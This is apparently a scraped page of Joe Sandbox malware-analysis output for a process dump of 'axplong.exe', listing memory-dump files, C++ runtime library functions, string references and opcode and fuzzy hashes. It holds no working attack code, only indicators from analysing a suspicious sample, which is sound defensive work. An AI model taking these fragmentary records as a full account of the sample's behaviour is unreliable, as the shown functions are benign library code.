Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
API String ID: 0-2167932082
Opcode ID: d6253cd9fa37353d137dfc06ab8c67eeae192367aa9e6cde3515f197f1b4fc67
Instruction ID: f500554e92da01f1648644144e4abf1eff96deac9205a528ba3e7025a1af1cd0
Opcode Fuzzy Hash: d6253cd9fa37353d137dfc06ab8c67eeae192367aa9e6cde3515f197f1b4fc67
Instruction Fuzzy Hash: 3621C271608209AF9B60AE618C81FBA77AFFF11368B10852CF835D7640E721EC018AE1

Function 006C1631 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 006C1691
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006C16DC

Strings

pContext, xrefs: 006C16D4

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 5786b96f274c0e3ca33cf6a927df1f0190f3123c26cf5f0421a45b19c0152a3a
Instruction ID: 12c036f5d028661a877a70dfee13e366783b5afb78514f4f28b801561dc47b92
Opcode Fuzzy Hash: 5786b96f274c0e3ca33cf6a927df1f0190f3123c26cf5f0421a45b19c0152a3a
Instruction Fuzzy Hash: ED11DF36A002149BCB55AF29C494ABD77A7EF873A0B19406DE8129F343DB74ED418BD4

Function 006B0B8C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 006B0C07
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 006B0C5A

Strings

@[o, xrefs: 006B0BFF

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: @[o
API String ID: 3303180142-194620548
Opcode ID: 8b1c3e4a7e2a10bb454fa2df451593d1f70f996498ce27c5965d981e82a69b5e
Instruction ID: 5ecab34a9f2f7635c506a2ac5d78ef7d04118526de40ecf501f78ea4a0091f4b
Opcode Fuzzy Hash: 8b1c3e4a7e2a10bb454fa2df451593d1f70f996498ce27c5965d981e82a69b5e
Instruction Fuzzy Hash: 4E01B9B4A042059AEB60BFF855523EE6E937F06300F10416DF506EB342CF344E808759

Function 00692440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0069247E

Strings

P#i, xrefs: 0069246D
P#i, xrefs: 00692486

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$P#i
API String ID: 2659868963-1653140521
Opcode ID: 7185aac890c300f3bbe1e0e403c4f4565c11c6a7e212840addbb12c3ef6e9738
Instruction ID: 0bcc56222c6ea864bad414a5def2b5a331b3632f7e49ddc3c6d6a4650c8fd165
Opcode Fuzzy Hash: 7185aac890c300f3bbe1e0e403c4f4565c11c6a7e212840addbb12c3ef6e9738
Instruction Fuzzy Hash: AAF0A0B191034D67C714EEE4D801D89B7ADDA15300B008A29F654E7601F7B0FA5487A9

Function 006A7A60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 006A7A86
__Cnd_destroy_in_situ.LIBCPMT ref: 006A7A8F

Strings

@.i, xrefs: 006A7A7F

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: @.i
API String ID: 1432671424-2964489218
Opcode ID: 0dc544488c93018fe88cd9de1a318fcb00fba0e764329c52760d0918c1f4d87d
Instruction ID: bad89d8b1d3038ce2211cab4c778ecfe92983b862a892a423fe132c43ef4d76c
Opcode Fuzzy Hash: 0dc544488c93018fe88cd9de1a318fcb00fba0e764329c52760d0918c1f4d87d
Instruction Fuzzy Hash: 9CF0E271A063045BC710AF78CC05A9ABBDEAF07325B54452DF659CB741EB71ED408F94

Function 00692520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00692552

Strings

P#i, xrefs: 00692547
P#i, xrefs: 0069255D

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
